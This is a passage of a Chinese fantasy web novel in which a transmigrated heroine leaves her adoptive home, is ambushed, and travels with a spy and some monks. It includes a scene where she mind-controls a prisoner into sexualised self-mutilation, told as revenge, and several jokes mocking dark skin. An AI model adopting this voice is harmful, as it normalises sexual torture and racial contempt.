如今大街上都在议论，香檀老人到底是男是女，可以把一个男人写得人人都想爱，另一个男人则是避之，惟恐不及。”
荇菜闻言就笑。
论文笔肯定不如项檀，至于《烂黄瓜》能风行，在于一个“真”，以及同太仲话本的打包出售，这是恰逢其会的销售策略。
白夫子同荇菜接触越多，越喜欢她说话直接、为人真诚又机敏。
两人打开话匣子，他就得多说些：“往日我怀疑姑娘说假话，如今看啊，项檀去修仙……应是真事。”
荇菜被突然的话堵得哑口无言。
数月来，她把这里当成异世的第一个家。虽然屋子里有项檀的影子，也听旁人提起他，都会自动忽略掉这人。
白夫子再次翻出旧事。荇菜知道，此地是不能久留了。但是，她真得很喜欢智慧又善良的周老夫人，勤劳可爱又懂感恩的蕙永。
【罢了。朱琴天深藏的纯阳之体已经在天下人前暴露，崩人设的局已经散出去，接下来就去做我该做的事，将朱琴天与秦天联系在一起，打开青虞宗人的视野。
若是穿书是因为师姐的剧情，兴许回家的可能性也在她那。无论是哪种情况，我都得再见师姐一次。】
青虞宗在山泽国。若要过去，得穿过欧丝国、高昌国地界。
细想原书剧情的第三幕，两人到达青虞宗拜师前，朱琴天同改头换貌的金花在即谷成为朋友，再相携前往山泽国拜师。
现在一路不停地赶过去，幸运得话赶得上青虞宗的择徒大会。
荇菜客气地送走白夫子，又同周老夫人和蕙永处几日。
第三日的晚间，荇菜在饭桌上说起次日离开的事。
蕙永觉得太突然，哭得差点失控，逃回房间。
周老夫人控制着情绪，缓缓道：“没事。她早知道有这一天，明个儿就好。”
老夫人面上不说，心里早为荇菜的离开做着打算。
月前，荇菜在饭桌上说起离开的事，老夫人在期间赶出两套秋冬裙衫，备下的荷包里放张一百两的银票，一把二十两的散银。当夜，她和抹泪的蕙永把这些全部打包好，放在堂里的方桌上。
等明儿个一早，荇菜起来就能发现它。
翌日，荇菜拿起桌上沉甸甸的包裹，站在堂屋发了会呆。
脑子里有个声音说：你可以选择留在这，代替项檀照顾老夫人和蕙永，做一世写话本子的假书生。平平安安、平平常常地度过一生。
屋外的天色朦胧有光，朝阳即将升起。
荇菜背上包裹，踏出堂屋。
院中的石桌上放着温热的馒头和粥。蕙永天不亮就起来做早膳，做完后又躲回老夫人的房间。她也害怕离别。
荇菜的心再次挣扎，眼里是满满的感激，以及一份抹不清的愧疚。
她坐下后快速地吃过饭，临出院门，脑子里的声音再次想起：她们不会发现项檀失踪，你可以留在这代替他，平安喜乐的生活，有亲人有家，比在外面漂泊轻松多了。
荇菜踏出沉重的步伐，立在院外大门口，听着内宅吱呀的开门声，毅然离去。
【老夫人，对于项檀的事，我有责任。所以，我要帮他做最后一件事。】
步伐越来越快，面上绽出轻松决绝的笑容。
【踏出那方小院，你就不再是社会主义人荇菜，而是修真界的荇菜。】
天色尚早，街上几乎不见人，荇菜直接去镇上的大牢。
三个多月的平静生活，她不仅读了天生大陆的地理志，更知道这是个什么样的仙侠世界。
水面风平浪静，底下波澜诡谲。公序良俗，在不同时期，它的顺序不一样。这个世界，良俗在前、公序在后，犯法杀人，人比法有用。”
荇菜直接进入大牢，如入无人之境。在穿书前，她是想都不会想这样的事。
“你还在睡觉，什么都没看到。”
值守大牢的守卫在潋滟的紫海眼眸下失神地转身，趴在桌上入眠。
荇菜穿行在大牢中间的过道，两侧关押的犯人或睡或醒。醒的犯人但凡看入荇菜的眼睛，脑袋发空，继续去睡。
荇菜悄无声息地走到江郎的牢门前。
“江郎？”
江郎猛地抬头，冲到栅栏边，伸手抓向荇菜。
荇菜往后小退半步，微笑地面对赤目欲裂的江郎：“听说再过三天，你就能出去。”
“老子出去第一个弄死你。”江郎抓紧栏杆，桀桀怪笑，油黑的双目卸去伪装，只剩阴狠的丑陋人性。
“是么。”荇菜波动心弦，致周身血液循序加快，血中热力上升。面色微粉，双眸绽出暗蓝紫色，直射江郎。
江郎的本能觉出危险，却被异于常人的眼睛捕捉住神智。
“你更不能出去了。花钱雇的三人想要书生怎么死来着，要对他做非常不好的事啊。
这样吧，不要让别人糟蹋你，你就自己……爱
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抚自己，直至……”荇菜无声地嚅动红唇，尽管没有发声，江郎失控的神智已经接收到主人的指令。
“是。”江郎松开抓栏杆的手，往后退得同时脱掉全身衣袜，双手抚在前后禁地，痛苦地捏抓和刺入。
他的整张脸明明已扭曲，却无法停下来。混沌的脑海里只有一片暗蓝紫海，无情地命令他按指令去做。
荇菜悄然地离开牢狱，同所有赶早市的人一样穿梭在大街，与相熟的人打招呼，牵上昨日找人备下的驴子，优哉游哉地出青衍镇。
她回首青衍镇的牌坊，背上包裹，骑上驴子，向大道的另一个方向行去。
镇上大牢里的江郎被人发现时已经全身血肉模糊。然而，他还没死，不仅不让旁人碰，发癫的他用看不分明的双手抽搐着凌虐自己的身体。
衙役把这邪门、震惊的事报告给官老爷。
官爷嫌晦气，让人在晚间时把奄奄一息的江郎丢去镇外乱葬岗。自此，这人就消失。
**
“啊……”
荇菜扶着额头站起来，环顾眼熟的山洞，快速地冲出去，被一道乍现的光幕弹摔回地。
“别做多余的事，以你练气后期的能力冲不破这葬魂锁。”男人全身上下一身黑色劲装，只露出一双被烟熏妆包围的眼白，中间是如点星的漆黑双眸。
他的双手掐诀，御使一枚鹅蛋大的透明晶石到荇菜的额前，念诵，“魂归三缘，夺。”
荇菜被一股吸力逼地张口，却发不出声音，像是被什么东西敲记闷棍，脑子发懵。
一股奇怪的力量拉扯她的灵魂，撕扯荇菜脱离金莲的身体。
“咿，这么牢固？”往常好使的勾魂术不见效，黑衣人加大法力，用晶石吸扯荇菜的灵魂，却依旧无法剥离灵魂。
荇菜感觉身体潮热，《还阳功》的功力开始在经脉里流转，抗击这股外来吸力。
在两力的撕扯僵持下，她似承受不住晕过去。
黑衣人收起晶石，走到荇菜的面前。
他抬起荇菜的脸，另一手划过荇菜的面容：“确实是那人的气息，灵魂也吸不出体。”说完，抚掌在荇菜的额前，意图吸走她的灵力。
“哦，你要做什么？”荇菜豁然睁眼，潋滟紫眸死死地盯向愕然睁大眼的黑衣人，缓缓地屈起上身，咬牙问，“你是谁？”
“摄魂术。”黑衣人脱口而出，人想动却挣脱不出紫海眼眸，在彼此魂术力量的冲撞下，受不住说，“我是……三……呃……”
荇菜眼都不眨，伸双手巴拉下他的面罩，在对方惊恐抗拒中咬牙切齿地说：“自从死过两次，我就决定不再做好人。呃……”
她看着拿掉面罩后的漆黑肤色，抽动唇角，“黑人？”
这不像是烟熏妆，更像是与生俱来的肤色，都黑进脖子里去了。
黑衣人羞愤欲死，拼劲全力催动体内的灵力，硬让眼眸出血，模糊眼前的景象。
他强行挣脱出摄魂术，掐诀遁走，余留点点白色的灵光飘散空中。
“咿？”回神的荇菜出手抓一把灵光，打开掌心后空空如也，像极项檀消失的场面。
灵光乍现。荇菜倒吸口气：“黑人绝对不可能死了。若是他可以化灵光离开，项檀也可以啊？
若是项檀的身份特殊……收养的孩子，若他是修仙者呢？
靠你大爷！”
9. 第 9 章
荇菜怒火冲天，猛捶膝盖，痛得龇牙咧嘴，扶着发软的膝头起身。
“该死……当真是六月里的债，还得快。前一脚欺负别人，还没出青山官道就被别人欺负。幸好我没有落下修习还阳功的法篇术章，不然都不知道怎么死。
黑人什么来头？气息，那人，灵魂……不会是知道我是个冒牌货，带我去投胎吧？”
“滚滚滚……”
荇菜的心头发紧，环顾熟悉的洞窟。
旁边是金花用剑凿出来的石床，初来乍到的羞耻场面再度翻涌而上，胸口也隐隐作痛。
她是一刻都不想留这，慌忙地奔下山。
驴子和包裹被丢在路边，万幸没被人捡走。
荇菜拉上驴子火速离开。
当初，她在这条大路上左右徘徊，如今又走到这，选择同青衍镇相反的方向。
她与周老夫人、蕙永、白夫子等人，像是两条本不会交汇的平行线，在一个奇妙的时间点完成一次交叉。
“项檀！”荇菜想起山中的猜测，怒不可遏道，“你最好是死了，不然，非得弄死你。”
小毛驴嘚儿个嘚，载着心急如焚的荇菜悠哉前往。
青山站两道，时间久了，胆胆怯怯的荇菜也宽了心思。
她顺把长发，蹙眉扫起自身：“练气后期……我竟然到练气后期？这境界是怎么来呢？在金莲的记忆里，可是连练气的门都没入啊。
说是花涟长老的小徒弟，更像是关在莲花殿金丝笼里的金丝雀。
黑人说的气息、灵魂，究竟要干什么？若他再来，我是送上去自杀投胎呢……呸呸呸……鬼才自杀。
驾……”
**
青山的瀑泉前，道生花把池里的鱼勾到水面，让它们在离水半指的高度仓惶扑棱。见水不能入，命在旦夕间。然而，瀑布溅起的水落在几近渴死的鱼身，又让这些鱼留有一线生机。
道生花喜欢这样的生存处境，不论是旁人，或他自己。
黑衣人走至池边，向他跪下：“法尊，是他。但他修炼摄魂术……”
瀑布池上的鱼儿炸成血雾，道生花后面的黑衣人也狠摔向石头。
“黑羽，你的面罩呢？”
黑羽捂住胸口，咳出口血，又快速地爬跪上前：“黑羽办事不利，请法尊降罚。”
“若真是他，失败也正常。他的分身众多，在千万人里追索出一个已是不易。既然找到他，就不能放过了。”
道生花眨眼立在黑羽的面前，勾指抬起漆黑如墨的脸面，“啧啧啧……传言黑羽族人自生来全身除眼白外都黑，”目光下落，垂在黑羽弓跪的单膝后，“是真呀！”
黑羽顿感羞耻，难堪地垂头。
“本尊还听说，羽弃城有个传统：若有人揭掉羽弃城人的面罩，就要嫁给对方。嫁给他啊……哈哈哈，想来就十分有趣。”
黑羽的头垂至胸前：“羽弃城是羽民国的耻辱。城中人只想借此理由，胁迫外人带他们逃离出城。”
“世人皆以白为美，谁会喜欢黑成碳条的物品。”道生花拂过黑羽，灵光覆下，犹如神指点化。
漆黑的肌肤在法术下瞬变成羊脂玉般白皙通透，因肤色黑，看起来扁平的五官都变得立体分明，棱角有度。
“一白遮百丑。如此，顺眼多了。起来吧。”
黑羽褪下手套，反复观看白到发光的手掌手背，抚摸脸颊，不敢置信地看向道生花。
道生花轻笑着背过身，边走边道：“他没见过这样得你，你想办法留在他的身边。学会做他的朋友，弄明白他的目的，趁他受伤时，夺他的灵力。”
“是……道尊。”黑羽激动地行礼。
道生花已消失不见。
黑羽扑向瀑潭，浮动的潭水上照出干净的人影。他抚摸脸颊和手臂：“真得……变白了？不是只有接受成人礼才有机会……我……”
“傻黑羽啊。这只是高级的障眼法，合体境以上的强者才有可能窥破本尊的法术。”
黑羽呲溜地跪下：“是，法尊。”面上的惊喜肉眼可见的消失。
“呵，本尊就想看你喜出望外又失望的模样。哈哈哈哈……”
黑羽在原地跪很久，道生花没再出现，他才缓缓地起身：“多谢法尊，谨遵法令。”直起腰后再等一会，他试探地碰触脸面，望向瀑潭时小退一步，转身离开。
**
高昌国与欧丝国的入境交界口是一座城，名唤八元城。
荇菜牵毛驴入城，被一阵儿童的叽叽喳喳声吸引目光，又被一道人影定住脚。
太阳下的男人在一身黑色长衣的衬托下像是会发光，木头似站在孩子们中间，表情呆滞，手足无错，一副不会应对孩子的状况。
孩子们围着他嚷嚷：“黑羽哥哥，再给我们买一支吧，买一支吧。”
“求求你了黑羽哥哥……”
“黑羽哥哥……再买一支，就一支。”
……
五六位商贩背着糖葫芦架子，杵在外围看热闹。
有人的架子上已经被买空，瞧着热闹，帮腔道：“黑羽少侠，你瞧孩子们多高兴，多喜欢你。你就再给他们买一支呗。”
商贩们趁机凑近，七嘴八舌地哄少侠：“是啊，少侠不缺钱，再给他们买一支吧。”
“小朋友们，快喊几声哥哥……”
……
荇菜瞧不过眼，给孩子们买吃得是图个大家高兴。成年人参合进去胁迫旁人给孩子买就过分了。
她牵毛驴近前，想这人应对不了就搭把手。
黑羽被孩子们包围近半个时辰，起初是不适应，连名字都被问出来，再来是惊喜。孩子们一声声地唤“黑羽哥哥”，这让他前所未有的满足，也想起曾经可悲的童年。
黑羽的父亲是黑羽族人，游历四方的母亲年轻气盛，好奇心驱使入了羽弃城。她听说黑羽族人经过成年礼后有机会转成寻常人类的肤色，好奇心过重的母亲在黑灯瞎火中上父亲。
父亲真得一夜变白，母亲觉得捡到宝。母亲按羽弃城的规定，办理羽民国的手续后带走父亲。
没有人告诉母亲，她生下的孩子有可能是一名肤色全黑的黑羽族婴儿。
在前两个孩子肤色像母亲的情况下突然生出个黑肤色的婴儿，母亲差点气死过去，而身为黑羽族人的父亲也
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不喜欢黑羽。
黑羽的童年是场悲剧。
哥哥姐姐不喜欢他，小伙伴们拿石头砸他……骂他是乌鸦，传他会给家人带来灾难。
黑羽摸在腰间，兜里只有灵石，唯一的漂亮金子给了第一个来卖糖葫芦的小贩。
当他要掏灵石的时候，一锭碎银砸过来。
他举手接住，看到一旁的荇菜：是他……不，是她。他现在的分身是女子。
黑羽瞳孔微缩，怕被她摄魂，垂头将银子递给糖葫芦小贩。
孩子们兴奋地围住商贩，从他们的架子上取走糖葫芦。
然而，这还没完，有奶便是娘啊。这群自来熟、不怕生的孩子们又围住荇菜：刚刚的银子可是这位漂亮姐姐给得呢。
“好姐姐，你真漂亮。”
“姐姐真好看，再给我们买一支吧。”
“姐姐叫什么呀……”
……
“你们都是人儿精吧。谁告诉我城里最好的客栈怎么走？”荇菜朝哄闹的孩子们道，往黑羽处看眼：真是个傻子。
有个女孩快口指路：“姐姐，我带你去，往这边走。”
“好，就你了。其他人啊，散了吧，小心黑羽哥哥变成黑夜叉，在黑漆漆的月下把你们全都叼走，啊呜一口。”荇菜伸着五爪，做张鬼脸，看着孩子们一哄而散，哈哈大笑。
包包头的小女孩害怕得要跑。
荇菜就勾住小姑娘的衣领，莞尔道：“我哄他们呢。你别怕，带姐姐去客栈，有奖励。”
“好……吧。”小姑娘被她安抚，舔着甜甜的糖葫芦，嬉笑着在前领路。
荇菜见黑羽跟来，好笑道：“你也是刚入城？我叫荇菜。”
“嗯。我叫……”
“黑羽。他们都叫你黑羽哥哥。”荇菜上下扫看黑羽，“你既不黑，也不长翅膀，怎么叫这个名字？”
黑羽张口，不能说实话，可实话也是：“爹取的。”
“我的名字是我妈取的。”荇菜发现这人话不多，赶路无聊就找话说，“你来过八元城吗？”
黑羽摇头：与她同行，算是留在她身边了吧。怎么成为朋友呢？
“你知道十方山寺吗？它到底是一座庙，还是一座山里全是庙？”
黑羽张口结舌：这姑娘怎么这么会说？
他垂目道：“十方寺是高昌国宗，天下八大宗门之一。十方山近千里，大大小小上万座寺庙，都归十方寺管。僧人团结，内里有分派，对外却是一致。大家就叫它：十方山寺。”
“姐姐就是这了。”包包头指向来缘客栈，主动伸出小手手。
荇菜起逗弄她的心思，拍在小姑娘的掌心，打趣道：“奖励不是变成你肚子里的糖嘛。”
小孩子藏不住事，瞬间生气，愤怒地看向荇菜，欲哭不哭。
荇菜只是开个玩笑，见状哄道：“别哭别哭，就给你。”
她从荷包里取钱，已有一块亮晶晶的石头落在小女孩的掌心。
小女孩是识货人，拳紧手掌，转身跑掉。风里飘来句“谢谢。”
荇菜举着碎银目瞪口呆，转向眼神清澈的黑羽：“刚你给得是什么？”
10. 第 10 章
“灵石。”黑羽指向客栈，率先进堂。他朝恭敬的客栈老板道：“仙字甲等房。”
“好嘞，公子，一枚灵石住一天。”老板接过黑羽递来的灵石，朝眼神盯在灵石上的荇菜客气道，“姑娘，你是打算……”
荇菜生出丝“穷”的羞耻感，仙字对应人字？
她紧跟着尬笑：“我啊，人字房？”
老板的挂脸也是微笑脸，颇具戏剧性：“人字甲等房，三百钱一宿。”
“好。”荇菜递上银子，又见一枚灵石落在柜台。
她惊讶地看向黑羽：有被装到哦。
黑羽垂敛长睫：“你帮我解围，我请你住宿，算是谢礼。”
老板本想多说一句，但见灵石在前，压下仙字上房是独栋小院的解释。
他绕出柜台亲自领路：“两位客观，这边请。”
荇菜挠鬓角，站在原地：“老板，先请他进去吧，我……还有点事。”
黑羽的目标是荇菜。互相花钱应该算是朋友吧？现在怎么能离开她呢？
但是老板已经在请，房已经给她定下，多留反会生疑。
遂而，他选择暂时离开。
片刻后，老板回来：“哟，姑娘等的人没来呢？”
“来了。”荇菜靠上柜台，笑说：“我等得就是掌柜你啊。”
老板审视荇菜，开门做生意，什么人没见过。这姑娘要闹妖。
他假装忙碌，不理她。
“掌柜，和气生财。我不住仙字甲等房，住人字甲等房。这是定钱。”荇菜推去一两银子，三百钱一天，这一两银子可以住三天。
八元城里的物价挺平民。
老板猜到她的小心思，把银子推回去：“姑娘，没住过客栈吧，尤其是仙字房。”
荇菜刚要摇头，反应过来，这是双方进入谈判阶段。
“嗐，修仙人哪能没见过摆下聚灵阵的房间。我是体验凡人生活。”桌面上的一两碎银再次入掌柜的眼底，“如何？”
掌柜抿唇，本可以不吃这套，但是折腾起来更麻烦。开门做生意能没事还是不生事得好。
没灵石的修士依然是修士。
“姑娘，我给您带路。”
荇菜握着黑羽给出去的灵石，入住楼层式样的人字甲等房，单间。
在掌柜关门前，她问句：“仙字房有多好？”
掌柜嘿笑：“姑娘的朋友住在内院的独栋小楼，去看看就知道，好得很。”
荇菜看着关上的门发愣：楼，独栋？这应该不止一间房吧？适才掌柜欲言又止……奸商啊，他是想多赚黑羽一枚灵石！
“幸好我拿回来了。”荇菜抛着手里的灵石，环顾大居室的客房，耸肩：“这很不错了。若是穿书前，这么大的房间，得好几百一宿呢。
若是同黑羽住独栋楼，是不是能把银子省下？”
“别想了。凭什么啊！”荇菜坐上床榻，翻来覆去地观察亮晶晶的石头，又摸又闻：“没味儿，手感不如上等的玉石。
《玉石还阳功》的玉石篇，第一篇第三章：夺天地灵石之力，运大道自然。”
双手托灵石，沉心闭目运转功法。灵石上析出一阵舒缓的力量，融入双掌经脉，直冲丹府。
这一次，荇菜明确感觉到丹田的存在。
力量存于丹田，不必靠加速血液循环、加速血热的方式调动它们。
还阳功第二篇第二章：大道生津，润泽万法，妙归于宗。
荇菜按修炼的口诀调动丹府灵力，运转周天，滋润经脉和身体细胞，再将余下的灵力归入丹田。
“呼……”荇菜跳下床，原地跳两下，感觉非常轻松，“这就是修仙？《玉石还阳功》上篇讲夺外物为己用，下篇讲法门和术。
外物有月华、灵石、空气中的灵气……甚至是……”
荇菜的心猛地跳下，或许已经知道练气后期的灵力由来。
还阳功第二篇第一章：合合。阴阳相合，纳阳补阴。夺天之阴华，地生之阳力，铸无上仙功法体。
“地生阳力指得是在欢爱中夺取他人阳力为己用。这不就是初级合欢道？”
荇菜忍不住咬拳头，听到扑通扑通的心跳声，“这是不是能证明项檀是修仙者，化成灵光遁走。他真可能没死，而是逃了。”
荇菜揉把头发，懊恼地踹了床柱几脚。
她深呼吸，试图镇定下来：“还阳功的下篇分出‘术’的部分，四术傍身，分别为：惑、驭、心、神。修炼灵力可以提高运用四术的深度、广度、持久力。啧，完美的功用一体功法。”
此时的荇菜还没真正意识到这门功法的恶毒之处。
“荇姑娘。”
荇菜听出黑羽的声音，不免想起从掌柜处把灵石要回来的事。如今，灵石已经化成霁粉消散，还不回去。
她怕这人是来算账，打开门时有些不好意思：“怎么了？”
“我……已近晚膳的时辰，可要一起用膳？”黑羽笨拙道。
“我请你吧。不过，我没灵石。”荇菜怕他点个仙字餐谱，真就没办法了。
“无妨，我请姑娘用膳。”黑羽轻声道，垂敛的目光有些小心翼翼。
“你没明白我的意思，我是说我请你吃饭，但是吃凡人的食物。”荇菜巴巴地看着他，期待这土豪能明白。
“好。”黑羽愣怔。他从来都是万人嫌，没人请过饭，无人帮他解过围，更多的时候是被人戏耍、嫌弃、避开。
黑羽垂目双掌的肤色，重重地点头，觑见荇菜的笑容，反应过来：这个女人只是他的一道分身。即使她揭下自己的面罩，和她也不可能在一起。
“走吧。”荇菜穿过他下楼，回头见黑羽面色泛红，又催促句，“快走吧。”
两人在包间招来店侍。
荇菜点得是华夏民族待客四件套：鸡鸭鱼肉。
她摩拳擦掌，准备大干一场：“应该够吃了。”
“姑娘客气。”黑羽坐她对面，见她执起茶壶，递上杯子，“多谢姑娘。”
“别这么见外。你给我介绍十方山寺，我还没谢谢你呢。嗯，我跟你说些趣事吧。我来的路上被一个蒙面人劫持，意图对我不轨。”
等菜的功夫，荇菜讲了黑人不劫财不劫色的劫持事件，“我以前也见过黑人。它们的皮肤是黑咖色，没见过像墨一样的纯黑肤色。不知道得还以为是脱了毛的北极熊。”
黑羽捏紧膝盖上的手，垂目定在平静的茶碗面，有一种要爆发的冲动
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荇菜等店侍上完第一道菜，举起筷子：“快吃吧。听说物极必反，不知道那个黑人是哪方的神仙人物。”
“神仙……人物？”黑羽紧绷的精神蓦然一松，举起碗接过荇菜夹来的菜，眼神莫名复杂，下意识接话，“黑人全身漆黑，被人视为不详。人人唾弃，不愿与之为伍。”
“唔，”荇菜咽下食物，认真道，“若他不伤害我，我平白无故地嫌弃他干嘛？你知道乌鸦吗？”
“知道，不祥之鸟。”黑羽的脑子里有种空到发轻的感觉，顺心意给荇菜夹菜。
小时候，黑羽不能上桌吃饭，在门外偷看父亲和母亲，父亲就是这样给母亲夹菜。
“偏见。在鸟生界，乌鸦的智商很高。它们不仅会同狼做朋友，与狼合作寻找猎物，共同猎食。它们还知道捡漂亮的宝石筑巢，送给爱侣。
你知道乌鸦喝水的典故吗？它们是真得聪明到把小石头叼进瓶口，等水升到够得着的时候再喝。
最有趣得一点，乌鸦对待伴侣忠诚、专一。自然界里，很少有鸟儿能达到它们这种程度。多数鸟儿都是花心鸟。”
荇菜叭叭说着，发现碗里的菜快满出来，赶紧道：“……你给我夹得太多了。你快吃，别客气啊。”
连日风餐露宿，毛驴作伴，赶路的日子可不好过。现下一桌好菜，荇菜得吃个尽兴。
“唔，好吃。”
荇菜见他动筷少，又提话头：“乌鸦也小心眼，爱记仇。我怕那位劫持我不成的黑人像乌鸦一样再找上门。
其实，我都不知道他是为什么。”
说者无心，听者有意。
黑羽发亮的眼眸瞬间转凉，埋首吃饭。
荇菜眯了眯眼，说这么多就是在试探。一个人孤身在外，得谨慎些。对方不劫财不劫色，图得就是一条命。
散席后，黑羽邀请道：“荇姑娘是修士，该住在灵气充盈的地方，我们换一下房间。”
“不不不。我怎么能占你的便宜，你请我入住的房费，我……”
“姑娘不必说，出门在外谁没个难处。这样，我们一起住……”
“啊？”荇菜震惊地看着他：什么意思？
“不是，姑娘也误会我的意思。仙字房是独栋，分上下两层，姑娘住楼上，我住楼下，绝不跃雷池半步。”黑羽觉得把任务目标放在眼底合适。
荇菜挠头，厚脸皮道：“那就……多谢。”
两人一起穿过客栈的后院，进入花团锦簇的园林。
一座座类似塔楼的屋子矗立在花树林间，一看就是个高档住处。
黑羽请荇菜入当中一座塔楼小院，领她进宅。
“荇姑娘，这楼分上下两间房，你住楼上，我住楼下。我先去休息。”
“哎，”荇菜出声，黑羽站在原地。她感激道，“谢谢你。”
黑羽行礼，进入厢房。
荇菜转入右边过道，上二楼。
她急不可耐地盘坐，运转还阳功法，一呼一吸间感觉周边的灵力入体，爽得她舒展眉目，如置仙境。
翌日，荇菜的脑子里突现疑问：黑羽怎么知道我是修士？当中有什么感应吗？我没看出他是修士啊，他不会就是在青山道上劫持我的人吧？
11. 第 11 章
荇菜洗把脸，思考一番，做出决定：无凭无据不好瞎猜。今早我就同他告辞，尽快赶上朱琴天和金花的脚步。
按原书第三幕的内容，朱琴天在吸走金花近九成的灵力后闭关休整。金花服用鸳鸯丹改头换貌，也需闭关巩固丹药释放的灵力。
两人闭关的时间差不多三个月。
男主朱琴天和金花师姐再次相逢的地点在即谷。
即谷里，两人相识相交，取得小机缘。恰逢山泽国青虞宗开门收徒，两人决定结伴前往。
原书描述，即谷内向阳多美玉，谷阴处产矿石青雘。
还阳功第一篇第二章：夺良玉之气，养天地生机。
【若我能吸取美玉精粹，让自己生机充盈，可助力修为。若能截断朱琴天的机缘，更能解恨。】
荇菜下楼，同黑羽道别：“多谢黑羽公子请我住宿。我有急事得先行赶路，这就告辞了。今日，若你继续留在八元城游玩，我会交待老板并留下定钱，三餐我请，以作回礼。”
“不必了，荇姑娘。我……”
“告辞。”荇菜没让他把话说完，径直离开塔楼小院。
她疾步到前院，同掌柜交待两句，留下五两银子，拉上小毛驴离去。
黑羽观她行事雷厉风行，琢磨着：人变白了，处朋友还这么难？
黑羽一族从神鸟金乌繁衍而来，可以御使黑鸦。
他派心腹黑鸦前去盯着荇菜的动向。
人立在院内，想起青衍镇外荇菜潋滟的紫海眼眸，强行扒下面罩时露出的震惊神色。
黑羽握住拳头，忆起餐桌上女人侃侃言辞，一时难以控制情绪：“骗子。”
旋即，黑羽重整面色，前去退房。
黑羽无师自通，从老板处把荇菜押的五两银子讨回来，而且非要荇菜给得那锭银子。
银子的颜色不如金子好看，勉为其难收入囊，可以应付下一次被孩子们缠着买糖的情况。
荇菜学张果老倒骑毛驴，驴前吊一颗白菜帮子。她看着倒退的路边景色，盯着飞一段停一段的黑色乌鸦。
几里路后，脑洞大开得她终于确定乌鸦在跟着自己。
“啧，幸好我突发奇想倒骑毛驴，不然都发现不了。哎，说你呢，黑鸟。”
乌鸦嘎嘎两声，振翅飞走：竟然被这奇葩女人发现了。谁会倒骑毛驴？
“逃得倒是快。若不是我观察两里地，差点被你蒙混过去。”荇菜停下毛驴，改成正骑前进。
离开青衍镇后，夜宿山林两夜都不带怕，就怕遇到叵测的人心，幸好有一头毛驴相陪作伴。
青山洞窟里目的不明的黑人，入城就逢的黑羽，盯梢似的黑色乌鸦……荇菜思前想后，心生危机：“黑人，黑羽，黑鸟。当我是傻子吗？”
荇菜吧唧嘴，生出紧迫感，面上却像驴子走路，悠哉悠哉的。
行不多远，荇菜遇到八位结队历练的和尚。
本着和尚慈悲为怀的印象，她决定跟在这些人的后面走。
不久后，和尚的队伍停在一处村外，三个和尚进去，万里无云的天空惊现晴天霹雳，银光闪烁像是UFO登场。
荇菜抚心口安慰自己：这里是修仙世界！
又过不久，三个和尚拖着两具血淋淋的人尸交给留守村外的和尚。
他们在村口就地拆分尸体。
荇菜目瞪口呆，转头扑在一旁呕吐，连胃酸都呕出来。
一只竹筒水壶出现在眼底。
她顺白皙的手指瞧见干净纯澈的小沙弥。
荇菜假装淡定地抹去唇角的黏腻，咽口吐沫，嘴里喉口一阵酸爽。她扭张脸，往后退两步，踩上一块尖石。
小沙弥扶住差点绊倒的荇菜，施礼说：“阿弥陀佛，小僧的师兄们吓到施主？”
“你……你们杀人？”荇菜心梗，胆战心惊地看他。
小沙弥气息平和：“施主不开法眼，所见非所得。”
荇菜的目光穿过他，杀气外溢的和尚们把尸体部件塞入各自的储物袋。
“我亲眼所见，告告辞。”
小沙弥想要解释，被师兄喊住，回道：“惊蛰师兄，来了。”
他又转向使劲抽毛驴离开的女子背影，朝近前的大和尚道：“我们吓到她。”
“一个修士，跟着我们却不知道我们屠妖。”惊蛰摇头，拍在小沙弥的肩膀，“火云子，咱们雷火寺修得是雷火两道，本就是武僧，行得是十八罗汉的以杀止杀。”
惊蛰收回看女子的目光，淡定道，“合欢宗的弟子就是爱大惊小怪。”
“师兄怎么知道她是合欢宗的弟子？”小沙弥不解。
“小师弟，你的法眼别只看人心，有时候看看人的外在。天生大陆划分十国，各国的人物气质、形态样貌本就因地方风貌不同，生出细微差异。
你见得人多了，时日久了，自然能分辨清楚。”惊蛰哈哈大笑，同师兄弟们打扫分尸现场。
火云子歪头，向荇菜的方向施礼，轻声道：“师兄，她与你的渊源颇深。”
惊蛰耳聪，听到轻语后也只一笑泯之。
行不多远的荇菜望向道上拦路的黑羽，二话不说调转驴头，往和尚的队伍赶。
【阴魂不散，果然有问题。赌不起啊！】
惊蛰等人收拾完摊子，接受村民的食物谢礼，继续上路。他是第一个发现荇菜回来，朝小师弟道：“火云子，你的天眼通进步了啊。”
“师兄，我想同她解释清楚。”火云子走向牵毛驴的荇菜，“施主，没事吧？”
“那个……我可以同你们行一段吗？拜托。”荇菜想起他们刚才的分尸举动，光天化日下就敢分尸，应该有原因吧？
她紧张道，“你们为什么杀人分尸？村里人都怎么样了？”
惊蛰突窜至荇菜的侧面，嬉笑道：“合欢宗的小姑娘，我们是在除妖。恶妖精魄不散，容易被三生道的恶贼利用，再次为祸百姓。”
荇菜瞪双美眸，一脸云里雾里。
火云子详细解释：“恶妖为非作歹，本该魂飞魄散以还罪恶。但是，道宗之首的天龙道有规定，不可弑杀生灵魂魄。
恶妖的魂魄不除，易被三生道的恶贼重聚妖体，为祸人间。
我和师兄们将恶妖分首，镇于十方山寺的五大妖塔，避免恶妖再次为祸。”
“……”荇菜听懂了，类似于把反派切片镇压，“不能直接把妖怪全须全尾地投入镇妖塔吗？”
火云子道：“以前有妖和人携手推倒镇妖塔，逃出大量的恶
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妖，一时间难以收完，害无数人丧命。
我们将恶妖分首，拘魂魄于一处妖塔。恶妖不易活、也死不了，又可避免有人打五大妖塔的主意。”
【这是理直气壮得让反派生不如死啊，好像命运在提点我这个即将成为反派的小人物。】
荇菜甩头晃去这无稽的想法，明白他们分尸的原因。异世和现世，一字异，佛情社会天差地别。
她又问：“他怎么知道我是合欢宗的弟子？”
火云子一脸不好意思，被惊蛰抢去话。
惊蛰笑嘻嘻道：“你没有元阴啊。”
荇菜第一反应是愣顿，下一秒夺过小沙弥手里的铜钵砸向惊蛰的大国子脸。
“咚”得一声，好不响亮。
火云子也是一脸意外，替师兄犯尴尬症，忘记守护饭盆。
“嘶，痛痛痛……”惊蛰跳脚，摄来铜钵要反击。
火云子赶紧挡在荇菜的身前：“师兄，手下留情。”
惊蛰嚅唇，瞪眼荇菜，把铜钵还给火云子：“怪你，吃饭的家伙都看不住。”
荇菜感觉两只耳朵火烧火燎，反瞪惊蛰，恶狠狠道：“流氓。”
惊蛰哼声，走到队伍的最前面。
和尚队伍路过此前黑羽站的地方，人已经不在这。
荇菜环顾山道两边，看到那只眼熟的黑鸦。
火云子顺她的目光扫见黑鸦，琢磨道：“这好像是黑羽族的伴生乌鸦。它们听命于主人。”
